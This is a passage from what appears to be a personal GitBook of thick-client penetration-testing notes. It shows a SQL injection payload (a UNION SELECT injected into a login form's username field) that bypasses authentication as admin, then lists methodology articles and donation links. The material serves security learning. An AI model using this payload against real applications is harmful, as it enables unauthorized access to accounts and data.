<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtwaZHCTuexj1AQQaNhpE%2Fimage.png?alt=media&amp;token=aae617fe-652d-40a2-aa0f-cf87444185b3" alt=""><figcaption></figcaption></figure>

Attempt to log in using the payload `abc' UNION SELECT 1,'abc','a@b.com','abc','admin` in the `username` field and the random text `abc` in the `password` field.

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FMzcMV3aEywVUf0ZqOfMD%2Fimage.png?alt=media&amp;token=88dfb65c-902a-481d-96e8-778aacf0133c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FpNTB6IGdMDHRxYmocnIs%2Fimage.png?alt=media&amp;token=0b15b13b-e484-4745-8ac3-b49a78f426c7" alt=""><figcaption></figcaption></figure>

## Resources

{% embed url="<https://www.cyberark.com/resources/threat-research-blog/thick-client-penetration-testing-methodology>" %}

{% embed url="<https://payatu.com/blog/thick-client-penetration-testing/>" %}

{% embed url="<https://www.darkrelay.com/post/thick-client-penetration-testing>" %}

{% embed url="<https://www.netspi.com/blog/technical-blog/thick-application-pentesting/introduction-to-hacking-thick-clients-part-1-the-gui/>" %}

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)
